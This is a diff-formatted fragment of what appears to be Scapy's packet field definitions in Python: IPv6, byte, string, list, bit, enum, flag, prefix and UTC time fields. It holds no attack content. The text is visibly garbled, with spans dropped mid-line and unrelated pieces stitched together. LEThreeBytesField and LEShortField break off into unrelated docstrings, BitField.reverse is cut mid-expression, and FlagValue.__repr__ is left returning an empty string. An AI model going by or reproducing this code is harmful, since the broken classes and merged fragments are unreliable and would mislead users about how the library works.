in6_isaddr6to4(x): # print encapsulated address + vaddr = in6_6to4ExtractAddr(x) + return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr) + r = self.i2h(pkt, x) # No specific information to return + return r if isinstance(r, str) else repr(r) + + def randval(self): + return RandIP6() + + +class SourceIP6Field(IP6Field): + __slots__ = ["dstname"] + + def __init__(self, name, dstname): + IP6Field.__init__(self, name, None) + self.dstname = dstname + + def i2m(self, pkt, x): + if x is None: + dst = ("::" if self.dstname is None else + getattr(pkt, self.dstname) or "::") + iff, x, nh = conf.route6.route(dst) + return IP6Field.i2m(self, pkt, x) + + def i2h(self, pkt, x): + if x is None: + if conf.route6 is None: + # unused import, only to initialize conf.route6 + import scapy.route6 # noqa: F401 + dst = ("::" if self.dstname is None else getattr(pkt, self.dstname)) # noqa: E501 + if isinstance(dst, (Gen, list)): + r = {conf.route6.route(str(daddr)) for daddr in dst} + if len(r) > 1: + warning("More than one possible route for %r" % (dst,)) + x = min(r)[1] + else: + x = conf.route6.route(dst)[1] + return IP6Field.i2h(self, pkt, x) + + +class DestIP6Field(IP6Field, DestField): + bindings = {} + + def __init__(self, name, default): + IP6Field.__init__(self, name, None) + DestField.__init__(self, name, default) + + def i2m(self, pkt, x): + if x is None: + x = self.dst_from_pkt(pkt) + return IP6Field.i2m(self, pkt, x) + + def i2h(self, pkt, x): + if x is None: + x = self.dst_from_pkt(pkt) + return IP6Field.i2h(self, pkt, x) + + +class ByteField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "B") + + +class XByteField(ByteField): + def i2repr(self, pkt, x): + return lhex(self.i2h(pkt, x)) + + +class OByteField(ByteField): + def i2repr(self, pkt, x): + return "%03o" % self.i2h(pkt, x) + + +class ThreeBytesField(ByteField): + def __init__(self, name, default): + Field.__init__(self, name, default, "!I") + + def addfield(self, pkt, s, val): + return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] + + def getfield(self, pkt, s): + return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 + + +class X3BytesField(ThreeBytesField, XByteField): + def i2repr(self, pkt, x): + return XByteField.i2repr(self, pkt, x) + + +class LEThreeBytesField(ByteField): + def __init__(self, name, default): + Field.__init__(self, name, default, ", ) including the + last value. + - A single-value tuple is treated as scalar. + - A list defines a set of (probably non consecutive) values that should be + associated to a given key. + + All values not associated with a key will be shown as number of type + unsigned byte. + + **For instance**:: + + config = { + 'no' : 0, + 'foo' : (1,22), + 'yes' : 23, + 'bar' : [24,25, 42, 48, 87, 253] + } + + Generates the following representations:: + + x == 0 : 'no' + x == 15: 'foo' + x == 23: 'yes' + x == 42: 'bar' + x == 43: 43 + + Another example, using the config attribute one could also revert + the stock-yes-no-behavior:: + + config = { + 'yes' : 0, + 'no' : (1,255) + } + + Will generate the following value representation:: + + x == 0 : 'yes' + x != 0 : 'no' + + """ + __slots__ = ['eval_fn'] + + def _build_config_representation(self, config): + assoc_table = dict() + for key in config: + value_spec = config[key] + + value_spec_type = type(value_spec) + + if value_spec_type is int: + if value_spec < 0 or value_spec > 255: + raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 + 'must be in range [0..255]'.format(value_spec)) # noqa: E501 + assoc_table[value_spec] = key + + elif value_spec_type is list: + for value in value_spec: + if value < 0 or value > 255: + raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 + 'must be in range [0..255]'.format(value)) # noqa: E501 + assoc_table[value] = key + + elif value_spec_type is tuple: + value_spec_len = len(value_spec) + if value_spec_len != 2: + raise FieldAttributeException('invalid length {} of given config item tuple {} - must be ' # noqa: E501 + '(, ).'.format(value_spec_len, value_spec)) # noqa: E501 + + value_range_start = value_spec[0] + if value_range_start < 0 or value_range_start > 255: + raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 + 'must be in range [0..255]'.format(value_range_start)) # noqa: E501 + + value_range_end = value_spec[1] + if value_range_end < 0 or value_range_end > 255: + raise FieldValueRangeException('given field value {} invalid - ' # noqa: E501 + 'must be in range [0..255]'.format(value_range_end)) # noqa: E501 + + for value in range(value_range_start, value_range_end + 1): + + assoc_table[value] = key + + self.eval_fn = lambda x: assoc_table[x] if x in assoc_table else x + + def __init__(self, name, default, config=None, *args, **kargs): + + if not config: + # this represents the common use case and therefore it is kept small # noqa: E501 + self.eval_fn = lambda x: 'no' if x == 0 else 'yes' + else: + self._build_config_representation(config) + ByteField.__init__(self, name, default, *args, **kargs) + + def i2repr(self, pkt, x): + return self.eval_fn(x) + + +class ShortField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "H") + + +class SignedShortField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "h") + + +class LEShortField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, " int + + * length_from: a callback that returns the number of bytes that + must be dissected by this field. The callback prototype is:: + + length_from(pkt:Packet) -> int + + * next_cls_cb: a callback that enables a Scapy developer to + dynamically discover if another Packet instance should be + dissected or not. See below for this callback prototype. + + The bytes that are not consumed during the dissection of this field + are passed to the next field of the current packet. + + For the serialization of such a field, the list of Packets that are + contained in a PacketListField can be heterogeneous and is + unrestricted. + + The type of the Packet instances that are dissected with this field is + specified or discovered using one of the following mechanism: + + * the cls parameter may contain a callable that returns an + instance of the dissected Packet. This may either be a + reference of a Packet subclass (e.g. DNSRROPT in layers/dns.py) + to generate an homogeneous PacketListField or a function + deciding the type of the Packet instance + (e.g. _CDPGuessAddrRecord in contrib/cdp.py) + + * the cls parameter may contain a class object with a defined + ``dispatch_hook`` classmethod. That method must return a Packet + instance. The ``dispatch_hook`` callmethod must implement the + following prototype:: + + dispatch_hook(cls, + _pkt:Optional[Packet], + *args, **kargs + ) -> Packet_metaclass + + The _pkt parameter may contain a reference to the packet + instance containing the PacketListField that is being + dissected. + + * the ``next_cls_cb`` parameter may contain a callable whose + prototype is:: + + cbk(pkt:Packet, + lst:List[Packet], + cur:Optional[Packet], + remain:str + ) -> Optional[Packet_metaclass] + + The pkt argument contains a reference to the Packet instance + containing the PacketListField that is being dissected. + The lst argument is the list of all Packet instances that were + previously parsed during the current ``PacketListField`` + dissection, saved for the very last Packet instance. + The cur argument contains a reference to that very last parsed + ``Packet`` instance. The remain argument contains the bytes + that may still be consumed by the current PacketListField + dissection operation. + + This callback returns either the type of the next Packet to + dissect or None to indicate that no more Packet are to be + dissected. + + These four arguments allows a variety of dynamic discovery of + the number of Packet to dissect and of the type of each one of + these Packets, including: type determination based on current + Packet instances or its underlayers, continuation based on the + previously parsed Packet instances within that PacketListField, + continuation based on a look-ahead on the bytes to be + dissected... + + The cls and next_cls_cb parameters are semantically exclusive, + although one could specify both. If both are specified, cls is + silently ignored. The same is true for count_from and next_cls_cb. + + length_from and next_cls_cb are compatible and the dissection will + end, whichever of the two stop conditions comes first. + + :param name: the name of the field + :param default: the default value of this field; generally an empty + Python list + @param cls: either a callable returning a Packet instance or a class + object defining a ``dispatch_hook`` class method + :param count_from: a callback returning the number of Packet + instances to dissect. + :param length_from: a callback returning the number of bytes to dissect + :param next_cls_cb: a callback returning either None or the type of + the next Packet to dissect. + """ + if default is None: + default = [] # Create a new list for each instance + PacketField.__init__(self, name, default, cls) + self.count_from = count_from + self.length_from = length_from + self.next_cls_cb = next_cls_cb + + def any2i(self, pkt, x): + if not isinstance(x, list): + return [x] + else: + return x + + def i2count(self, pkt, val): + if isinstance(val, list): + return len(val) + return 1 + + def i2len(self, pkt, val): + return sum(len(p) for p in val) + + def do_copy(self, x): + if x is None: + return None + else: + return [p if isinstance(p, (str, bytes)) else p.copy() for p in x] + + def getfield(self, pkt, s): + c = len_pkt = cls = None + if self.length_from is not None: + len_pkt = self.length_from(pkt) + elif self.count_from is not None: + c = self.count_from(pkt) + if self.next_cls_cb is not None: + cls = self.next_cls_cb(pkt, [], None, s) + c = 1 + + lst = [] + ret = b"" + remain = s + if len_pkt is not None: + remain, ret = s[:len_pkt], s[len_pkt:] + while remain: + if c is not None: + if c <= 0: + break + c -= 1 + try: + if cls is not None: + p = cls(remain) + else: + p = self.m2i(pkt, remain) + except Exception: + if conf.debug_dissector: + raise + p = conf.raw_layer(load=remain) + remain = b"" + else: + if conf.padding_layer in p: + pad = p[conf.padding_layer] + remain = pad.load + del(pad.underlayer.payload) + if self.next_cls_cb is not None: + cls = self.next_cls_cb(pkt, lst, p, remain) + if cls is not None: + c = 0 if c is None else c + c += 1 + else: + remain = b"" + lst.append(p) + return remain + ret, lst + + def addfield(self, pkt, s, val): + return s + b"".join(bytes_encode(v) for v in val) + + +class StrFixedLenField(StrField): + __slots__ = ["length_from"] + + def __init__(self, name, default, length=None, length_from=None): + StrField.__init__(self, name, default) + self.length_from = length_from + if length is not None: + self.length_from = lambda pkt, length=length: length + + def i2repr(self, pkt, v): + if isinstance(v, bytes): + v = v.rstrip(b"\0") + return super(StrFixedLenField, self).i2repr(pkt, v) + + def getfield(self, pkt, s): + len_pkt = self.length_from(pkt) + return s[len_pkt:], self.m2i(pkt, s[:len_pkt]) + + def addfield(self, pkt, s, val): + len_pkt = self.length_from(pkt) + if len_pkt is None: + return s + self.i2m(pkt, val) + return s + struct.pack("%is" % len_pkt, self.i2m(pkt, val)) + + def randval(self): + try: + len_pkt = self.length_from(None) + except Exception: + len_pkt = RandNum(0, 200) + return RandBin(len_pkt) + + +class StrFixedLenEnumField(StrFixedLenField): + __slots__ = ["enum"] + + def __init__(self, name, default, length=None, enum=None, length_from=None): # noqa: E501 + StrFixedLenField.__init__(self, name, default, length=length, length_from=length_from) # noqa: E501 + self.enum = enum + + def i2repr(self, pkt, v): + r = v.rstrip("\0" if isinstance(v, str) else b"\0") + rr = repr(r) + if v in self.enum: + rr = "%s (%s)" % (rr, self.enum[v]) + elif r in self.enum: + rr = "%s (%s)" % (rr, self.enum[r]) + return rr + + +class NetBIOSNameField(StrFixedLenField): + def __init__(self, name, default, length=31): + StrFixedLenField.__init__(self, name, default, length) + + def i2m(self, pkt, x): + len_pkt = self.length_from(pkt) // 2 + x = bytes_encode(x) + if x is None: + x = b"" + x += b" " * len_pkt + x = x[:len_pkt] + x = b"".join(chb(0x41 + (orb(b) >> 4)) + chb(0x41 + (orb(b) & 0xf)) for b in x) # noqa: E501 + x = b" " + x + return x + + def m2i(self, pkt, x): + x = x.strip(b"\x00").strip(b" ") + return b"".join(map(lambda x, y: chb((((orb(x) - 1) & 0xf) << 4) + ((orb(y) - 1) & 0xf)), x[::2], x[1::2])) # noqa: E501 + + +class StrLenField(StrField): + __slots__ = ["length_from", "max_length"] + + def __init__(self, name, default, fld=None, length_from=None, max_length=None): # noqa: E501 + StrField.__init__(self, name, default) + self.length_from = length_from + self.max_length = max_length + + def getfield(self, pkt, s): + len_pkt = self.length_from(pkt) + return s[len_pkt:], self.m2i(pkt, s[:len_pkt]) + + def randval(self): + return RandBin(RandNum(0, self.max_length or 1200)) + + +class XStrField(StrField): + """ + StrField which value is printed as hexadecimal. + """ + + def i2repr(self, pkt, x): + if x is None: + return repr(x) + return bytes_hex(x).decode() + + +class _XStrLenField: + def i2repr(self, pkt, x): + if not x: + return repr(x) + return bytes_hex(x[:self.length_from(pkt)]).decode() + + +class XStrLenField(_XStrLenField, StrLenField): + """ + StrLenField which value is printed as hexadecimal. + """ + + +class XStrFixedLenField(_XStrLenField, StrFixedLenField): + """ + StrFixedLenField which value is printed as hexadecimal. + """ + + +class XLEStrLenField(XStrLenField): + def i2m(self, pkt, x): + return x[:: -1] + + def m2i(self, pkt, x): + return x[:: -1] + + +class StrLenFieldUtf16(StrLenField): + def h2i(self, pkt, x): + return plain_str(x).encode('utf-16')[2:] + + def any2i(self, pkt, x): + if isinstance(x, six.text_type): + return self.h2i(pkt, x) + return super(StrLenFieldUtf16, self).any2i(pkt, x) + + def i2repr(self, pkt, x): + return x + + def i2h(self, pkt, x): + return bytes_encode(x).decode('utf-16') + + +class BoundStrLenField(StrLenField): + __slots__ = ["minlen", "maxlen"] + + def __init__(self, name, default, minlen=0, maxlen=255, fld=None, length_from=None): # noqa: E501 + StrLenField.__init__(self, name, default, fld, length_from) + self.minlen = minlen + self.maxlen = maxlen + + def randval(self): + return RandBin(RandNum(self.minlen, self.maxlen)) + + +class FieldListField(Field): + __slots__ = ["field", "count_from", "length_from"] + islist = 1 + + def __init__(self, name, default, field, length_from=None, count_from=None): # noqa: E501 + if default is None: + default = [] # Create a new list for each instance + self.field = field + Field.__init__(self, name, default) + self.count_from = count_from + self.length_from = length_from + + def i2count(self, pkt, val): + if isinstance(val, list): + return len(val) + return 1 + + def i2len(self, pkt, val): + return int(sum(self.field.i2len(pkt, v) for v in val)) + + def i2m(self, pkt, val): + if val is None: + val = [] + return val + + def any2i(self, pkt, x): + if not isinstance(x, list): + return [self.field.any2i(pkt, x)] + else: + return [self.field.any2i(pkt, e) for e in x] + + def i2repr(self, pkt, x): + return "[%s]" % ", ".join(self.field.i2repr(pkt, v) for v in x) + + def addfield(self, pkt, s, val): + val = self.i2m(pkt, val) + for v in val: + s = self.field.addfield(pkt, s, v) + return s + + def getfield(self, pkt, s): + c = len_pkt = None + if self.length_from is not None: + len_pkt = self.length_from(pkt) + elif self.count_from is not None: + c = self.count_from(pkt) + + val = [] + ret = b"" + if len_pkt is not None: + s, ret = s[:len_pkt], s[len_pkt:] + + while s: + if c is not None: + if c <= 0: + break + c -= 1 + s, v = self.field.getfield(pkt, s) + val.append(v) + return s + ret, val + + +class FieldLenField(Field): + __slots__ = ["length_of", "count_of", "adjust"] + + def __init__(self, name, default, length_of=None, fmt="H", count_of=None, adjust=lambda pkt, x: x, fld=None): # noqa: E501 + Field.__init__(self, name, default, fmt) + self.length_of = length_of + self.count_of = count_of + self.adjust = adjust + if fld is not None: + # FIELD_LENGTH_MANAGEMENT_DEPRECATION(self.__class__.__name__) + self.length_of = fld + + def i2m(self, pkt, x): + if x is None: + if self.length_of is not None: + fld, fval = pkt.getfield_and_val(self.length_of) + f = fld.i2len(pkt, fval) + else: + fld, fval = pkt.getfield_and_val(self.count_of) + f = fld.i2count(pkt, fval) + x = self.adjust(pkt, f) + return x + + +class StrNullField(StrField): + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + b"\x00" + + def getfield(self, pkt, s): + len_str = s.find(b"\x00") + if len_str < 0: + # XXX \x00 not found + return b"", s + return s[len_str + 1:], self.m2i(pkt, s[:len_str]) + + def randval(self): + return RandTermString(RandNum(0, 1200), b"\x00") + + +class StrStopField(StrField): + __slots__ = ["stop", "additional"] + + def __init__(self, name, default, stop, additional=0): + Field.__init__(self, name, default) + self.stop = stop + self.additional = additional + + def getfield(self, pkt, s): + len_str = s.find(self.stop) + if len_str < 0: + return b"", s +# raise Scapy_Exception,"StrStopField: stop value [%s] not found" %stop # noqa: E501 + len_str += len(self.stop) + self.additional + return s[len_str:], s[:len_str] + + def randval(self): + return RandTermString(RandNum(0, 1200), self.stop) + + +class LenField(Field): + __slots__ = ["adjust"] + + def __init__(self, name, default, fmt="H", adjust=lambda x: x): + Field.__init__(self, name, default, fmt) + self.adjust = adjust + + def i2m(self, pkt, x): + if x is None: + x = self.adjust(len(pkt.payload)) + return x + + +class BCDFloatField(Field): + def i2m(self, pkt, x): + return int(256 * x) + + def m2i(self, pkt, x): + return x / 256.0 + + +class BitField(Field): + __slots__ = ["rev", "size"] + + def __init__(self, name, default, size): + Field.__init__(self, name, default) + self.rev = size < 0 + self.size = abs(size) + self.sz = self.size / 8. + + def reverse(self, val): + if self.size == 16: + # Replaces socket.ntohs (but work on both little/big endian) + val = struct.unpack('>H', struct.pack('I', struct.pack('= 8: + bitsdone -= 8 + s = s + struct.pack("!B", v >> bitsdone) + v &= (1 << bitsdone) - 1 + if bitsdone: + return s, bitsdone, v + else: + return s + + def getfield(self, pkt, s): + if isinstance(s, tuple): + s, bn = s + else: + bn = 0 + # we don't want to process all the string + nb_bytes = (self.size + bn - 1) // 8 + 1 + w = s[:nb_bytes] + + # split the substring byte by byte + _bytes = struct.unpack('!%dB' % nb_bytes, w) + + b = 0 + for c in range(nb_bytes): + b |= int(_bytes[c]) << (nb_bytes - c - 1) * 8 + + # get rid of high order bits + b &= (1 << (nb_bytes * 8 - bn)) - 1 + + # remove low order bits + b = b >> (nb_bytes * 8 - self.size - bn) + + if self.rev: + b = self.reverse(b) + + bn += self.size + s = s[bn // 8:] + bn = bn % 8 + b = self.m2i(pkt, b) + if bn: + return (s, bn), b + else: + return s, b + + def randval(self): + return RandNum(0, 2**self.size - 1) + + def i2len(self, pkt, x): + return float(self.size) / 8 + + +class BitFieldLenField(BitField): + __slots__ = ["length_of", "count_of", "adjust"] + + def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt, x: x): # noqa: E501 + BitField.__init__(self, name, default, size) + self.length_of = length_of + self.count_of = count_of + self.adjust = adjust + + def i2m(self, pkt, x): + return (FieldLenField.i2m.__func__ if six.PY2 else FieldLenField.i2m)(self, pkt, x) # noqa: E501 + + +class XBitField(BitField): + def i2repr(self, pkt, x): + return lhex(self.i2h(pkt, x)) + + +class _EnumField(Field): + def __init__(self, name, default, enum, fmt="H"): + """ Initializes enum fields. + + @param name: name of this field + @param default: default value of this field + @param enum: either a dict or a tuple of two callables. Dict keys are # noqa: E501 + the internal values, while the dict values are the + user-friendly representations. If the tuple is provided, # noqa: E501 + the first callable receives the internal value as + parameter and returns the user-friendly representation + and the second callable does the converse. The first + callable may return None to default to a literal string + (repr()) representation. + @param fmt: struct.pack format used to parse and serialize the + internal value from and to machine representation. + """ + if isinstance(enum, ObservableDict): + enum.observe(self) + + if isinstance(enum, tuple): + self.i2s_cb = enum[0] + self.s2i_cb = enum[1] + self.i2s = None + self.s2i = None + else: + i2s = self.i2s = {} + s2i = self.s2i = {} + self.i2s_cb = None + self.s2i_cb = None + if isinstance(enum, list): + keys = list(range(len(enum))) + elif isinstance(enum, DADict): + keys = enum.keys() + else: + keys = list(enum) + if any(isinstance(x, str) for x in keys): + i2s, s2i = s2i, i2s + for k in keys: + i2s[k] = enum[k] + s2i[enum[k]] = k + Field.__init__(self, name, default, fmt) + + def any2i_one(self, pkt, x): + if isinstance(x, str): + try: + x = self.s2i[x] + except TypeError: + x = self.s2i_cb(x) + return x + + def i2repr_one(self, pkt, x): + if self not in conf.noenum and not isinstance(x, VolatileValue): + try: + return self.i2s[x] + except KeyError: + pass + except TypeError: + ret = self.i2s_cb(x) + if ret is not None: + return ret + return repr(x) + + def any2i(self, pkt, x): + if isinstance(x, list): + return [self.any2i_one(pkt, z) for z in x] + else: + return self.any2i_one(pkt, x) + + def i2repr(self, pkt, x): + if isinstance(x, list): + return [self.i2repr_one(pkt, z) for z in x] + else: + return self.i2repr_one(pkt, x) + + def notify_set(self, enum, key, value): + log_runtime.debug("At %s: Change to %s at 0x%x" % (self, value, key)) + self.i2s[key] = value + self.s2i[value] = key + + def notify_del(self, enum, key): + log_runtime.debug("At %s: Delete value at 0x%x" % (self, key)) + value = self.i2s[key] + del self.i2s[key] + del self.s2i[value] + + +class EnumField(_EnumField): + __slots__ = ["i2s", "s2i", "s2i_cb", "i2s_cb"] + + +class CharEnumField(EnumField): + def __init__(self, name, default, enum, fmt="1s"): + EnumField.__init__(self, name, default, enum, fmt) + if self.i2s is not None: + k = list(self.i2s) + if k and len(k[0]) != 1: + self.i2s, self.s2i = self.s2i, self.i2s + + def any2i_one(self, pkt, x): + if len(x) != 1: + if self.s2i is None: + x = self.s2i_cb(x) + else: + x = self.s2i[x] + return x + + +class BitEnumField(BitField, _EnumField): + __slots__ = EnumField.__slots__ + + def __init__(self, name, default, size, enum): + _EnumField.__init__(self, name, default, enum) + self.rev = size < 0 + self.size = abs(size) + self.sz = self.size / 8. + + def any2i(self, pkt, x): + return _EnumField.any2i(self, pkt, x) + + def i2repr(self, pkt, x): + return _EnumField.i2repr(self, pkt, x) + + +class ShortEnumField(EnumField): + __slots__ = EnumField.__slots__ + + def __init__(self, name, default, enum): + EnumField.__init__(self, name, default, enum, "H") + + +class LEShortEnumField(EnumField): + def __init__(self, name, default, enum): + EnumField.__init__(self, name, default, enum, ">= self.cursor + while x: + self.cursor += 1 + if x & 1: + return self.flagvalue.names[self.cursor - 1] + x >>= 1 + raise StopIteration + + next = __next__ + + +class FlagValue(object): + __slots__ = ["value", "names", "multi"] + + def _fixvalue(self, value): + if not value: + return 0 + if isinstance(value, six.string_types): + value = value.split('+') if self.multi else list(value) + if isinstance(value, list): + y = 0 + for i in value: + y |= 1 << self.names.index(i) + value = y + return int(value) + + def __init__(self, value, names): + self.multi = isinstance(names, list) + self.names = names + self.value = self._fixvalue(value) + + def __hash__(self): + return hash(self.value) + + def __int__(self): + return self.value + + def __eq__(self, other): + return self.value == self._fixvalue(other) + + def __lt__(self, other): + return self.value < self._fixvalue(other) + + def __le__(self, other): + return self.value <= self._fixvalue(other) + + def __gt__(self, other): + return self.value > self._fixvalue(other) + + def __ge__(self, other): + return self.value >= self._fixvalue(other) + + def __ne__(self, other): + return self.value != self._fixvalue(other) + + def __and__(self, other): + return self.__class__(self.value & self._fixvalue(other), self.names) + __rand__ = __and__ + + def __or__(self, other): + return self.__class__(self.value | self._fixvalue(other), self.names) + __ror__ = __or__ + + def __lshift__(self, other): + return self.value << self._fixvalue(other) + + def __rshift__(self, other): + return self.value >> self._fixvalue(other) + + def __nonzero__(self): + return bool(self.value) + __bool__ = __nonzero__ + + def flagrepr(self): + warning("obj.flagrepr() is obsolete. Use str(obj) instead.") + return str(self) + + def __str__(self): + i = 0 + r = [] + x = int(self) + while x: + if x & 1: + r.append(self.names[i]) + i += 1 + x >>= 1 + return ("+" if self.multi else "").join(r) + + def __iter__(self): + return FlagValueIter(self) + + def __repr__(self): + return "" % (self, self) + + def __deepcopy__(self, memo): + return self.__class__(int(self), self.names) + + def __getattr__(self, attr): + if attr in self.__slots__: + return super(FlagValue, self).__getattr__(attr) + try: + if self.multi: + return bool((2 ** self.names.index(attr)) & int(self)) + return all(bool((2 ** self.names.index(flag)) & int(self)) + for flag in attr) + except ValueError: + if '_' in attr: + try: + return self.__getattr__(attr.replace('_', '-')) + except AttributeError: + pass + return super(FlagValue, self).__getattr__(attr) + + def __setattr__(self, attr, value): + if attr == "value" and not isinstance(value, six.integer_types): + raise ValueError(value) + if attr in self.__slots__: + return super(FlagValue, self).__setattr__(attr, value) + if attr in self.names: + if value: + self.value |= (2 ** self.names.index(attr)) + else: + self.value &= ~(2 ** self.names.index(attr)) + else: + return super(FlagValue, self).__setattr__(attr, value) + + def copy(self): + return self.__class__(self.value, self.names) + + +class FlagsField(BitField): + """ Handle Flag type field + + Make sure all your flags have a label + + Example: + >>> from scapy.packet import Packet + >>> class FlagsTest(Packet): + fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] # noqa: E501 + >>> FlagsTest(flags=9).show2() + ###[ FlagsTest ]### + flags = f0+f3 + >>> FlagsTest(flags=0).show2().strip() + ###[ FlagsTest ]### + flags = + + :param name: field's name + :param default: default value for the field + :param size: number of bits in the field + :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first # noqa: E501 + """ + ismutable = True + __slots__ = ["multi", "names"] + + def __init__(self, name, default, size, names): + self.multi = isinstance(names, list) + self.names = names + BitField.__init__(self, name, default, size) + + def _fixup_val(self, x): + """Returns a FlagValue instance when needed. Internal method, to be +used in *2i() and i2*() methods. + + """ + if isinstance(x, FlagValue): + return x + if x is None: + return None + return FlagValue(x, self.names) + + def any2i(self, pkt, x): + return self._fixup_val(super(FlagsField, self).any2i(pkt, x)) + + def m2i(self, pkt, x): + return self._fixup_val(super(FlagsField, self).m2i(pkt, x)) + + def i2h(self, pkt, x): + if isinstance(x, VolatileValue): + return super(FlagsField, self).i2h(pkt, x) + return self._fixup_val(super(FlagsField, self).i2h(pkt, x)) + + def i2repr(self, pkt, x): + if isinstance(x, (list, tuple)): + return repr(type(x)( + None if v is None else str(self._fixup_val(v)) for v in x + )) + return None if x is None else str(self._fixup_val(x)) + + +MultiFlagsEntry = collections.namedtuple('MultiFlagEntry', ['short', 'long']) + + +class MultiFlagsField(BitField): + __slots__ = FlagsField.__slots__ + ["depends_on"] + + def __init__(self, name, default, size, names, depends_on): + self.names = names + self.depends_on = depends_on + super(MultiFlagsField, self).__init__(name, default, size) + + def any2i(self, pkt, x): + assert isinstance(x, six.integer_types + (set,)), 'set expected' + + if pkt is not None: + if isinstance(x, six.integer_types): + x = self.m2i(pkt, x) + else: + v = self.depends_on(pkt) + if v is not None: + assert v in self.names, 'invalid dependency' + these_names = self.names[v] + s = set() + for i in x: + for val in six.itervalues(these_names): + if val.short == i: + s.add(i) + break + else: + assert False, 'Unknown flag "{}" with this dependency'.format(i) # noqa: E501 + continue + x = s + return x + + def i2m(self, pkt, x): + v = self.depends_on(pkt) + these_names = self.names.get(v, {}) + + r = 0 + for flag_set in x: + for i, val in six.iteritems(these_names): + if val.short == flag_set: + r |= 1 << i + break + else: + r |= 1 << int(flag_set[len('bit '):]) + return r + + def m2i(self, pkt, x): + v = self.depends_on(pkt) + these_names = self.names.get(v, {}) + + r = set() + i = 0 + while x: + if x & 1: + if i in these_names: + r.add(these_names[i].short) + else: + r.add('bit {}'.format(i)) + x >>= 1 + i += 1 + return r + + def i2repr(self, pkt, x): + v = self.depends_on(pkt) + these_names = self.names.get(v, {}) + + r = set() + for flag_set in x: + for i in six.itervalues(these_names): + if i.short == flag_set: + r.add("{} ({})".format(i.long, i.short)) + break + else: + r.add(flag_set) + return repr(r) + + +class FixedPointField(BitField): + __slots__ = ['frac_bits'] + + def __init__(self, name, default, size, frac_bits=16): + self.frac_bits = frac_bits + BitField.__init__(self, name, default, size) + + def any2i(self, pkt, val): + if val is None: + return val + ival = int(val) + fract = int((val - ival) * 2**self.frac_bits) + return (ival << self.frac_bits) | fract + + def i2h(self, pkt, val): + int_part = val >> self.frac_bits + frac_part = val & (1 << self.frac_bits) - 1 + frac_part /= 2.0**self.frac_bits + return int_part + frac_part + + def i2repr(self, pkt, val): + return self.i2h(pkt, val) + + +# Base class for IPv4 and IPv6 Prefixes inspired by IPField and IP6Field. +# Machine values are encoded in a multiple of wordbytes bytes. +class _IPPrefixFieldBase(Field): + __slots__ = ["wordbytes", "maxbytes", "aton", "ntoa", "length_from"] + + def __init__(self, name, default, wordbytes, maxbytes, aton, ntoa, length_from): # noqa: E501 + self.wordbytes = wordbytes + self.maxbytes = maxbytes + self.aton = aton + self.ntoa = ntoa + Field.__init__(self, name, default, "%is" % self.maxbytes) + self.length_from = length_from + + def _numbytes(self, pfxlen): + wbits = self.wordbytes * 8 + return ((pfxlen + (wbits - 1)) // wbits) * self.wordbytes + + def h2i(self, pkt, x): + # "fc00:1::1/64" -> ("fc00:1::1", 64) + [pfx, pfxlen] = x.split('/') + self.aton(pfx) # check for validity + return (pfx, int(pfxlen)) + + def i2h(self, pkt, x): + # ("fc00:1::1", 64) -> "fc00:1::1/64" + (pfx, pfxlen) = x + return "%s/%i" % (pfx, pfxlen) + + def i2m(self, pkt, x): + # ("fc00:1::1", 64) -> (b"\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) # noqa: E501 + (pfx, pfxlen) = x + s = self.aton(pfx) + return (s[:self._numbytes(pfxlen)], pfxlen) + + def m2i(self, pkt, x): + # (b"\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) -> ("fc00:1::1", 64) # noqa: E501 + (s, pfxlen) = x + + if len(s) < self.maxbytes: + s = s + (b"\0" * (self.maxbytes - len(s))) + return (self.ntoa(s), pfxlen) + + def any2i(self, pkt, x): + if x is None: + return (self.ntoa(b"\0" * self.maxbytes), 1) + + return self.h2i(pkt, x) + + def i2len(self, pkt, x): + (_, pfxlen) = x + return pfxlen + + def addfield(self, pkt, s, val): + (rawpfx, pfxlen) = self.i2m(pkt, val) + fmt = "!%is" % self._numbytes(pfxlen) + return s + struct.pack(fmt, rawpfx) + + def getfield(self, pkt, s): + pfxlen = self.length_from(pkt) + numbytes = self._numbytes(pfxlen) + fmt = "!%is" % numbytes + return s[numbytes:], self.m2i(pkt, (struct.unpack(fmt, s[:numbytes])[0], pfxlen)) # noqa: E501 + + +class IPPrefixField(_IPPrefixFieldBase): + def __init__(self, name, default, wordbytes=1, length_from=None): + _IPPrefixFieldBase.__init__(self, name, default, wordbytes, 4, inet_aton, inet_ntoa, length_from) # noqa: E501 + + +class IP6PrefixField(_IPPrefixFieldBase): + def __init__(self, name, default, wordbytes=1, length_from=None): + _IPPrefixFieldBase.__init__(self, name, default, wordbytes, 16, lambda a: inet_pton(socket.AF_INET6, a), lambda n: inet_ntop(socket.AF_INET6, n), length_from) # noqa: E501 + + +class UTCTimeField(IntField): + __slots__ = ["epoch", "delta", "strf", + "use_msec", "use_micro", "use_nano"] + + # Do not change the order of the keywords in here + # Netflow heavily rely on this + def __init__(self, name, default, + use_msec=False, + use_micro=False, + use_nano=False, + epoch=None, + strf="%a, %d %b %Y %H:%M:%S %z"): + IntField.__init__(self, name, default) + mk_epoch = EPOCH if epoch is None else calendar.timegm(epoch) + self.epoch = mk_epoch + self.delta = mk_epoch - EPOCH + self.strf = strf + self.use_msec = use_msec + self.use_micro = use_micro + self.use_nano = use_nano + + def i2repr(self, pkt, x): + if x is None: + x = 0 + elif self.use_msec: + x = x / 1e3 + elif self.use_micro: + x = x / 1e6 + elif self.use_nano: + x = x / 1e9 + x = int(x) + self.delta + t = time.strftime(self.strf, time.gmtime(x)) + return "%s (%d)" % (t, x) + + def i2m(self, pkt, x): + return int(x) if x is not None else 0 + + +class SecondsIntField(IntField): + __slots__ = ["use_msec", "use_micro", 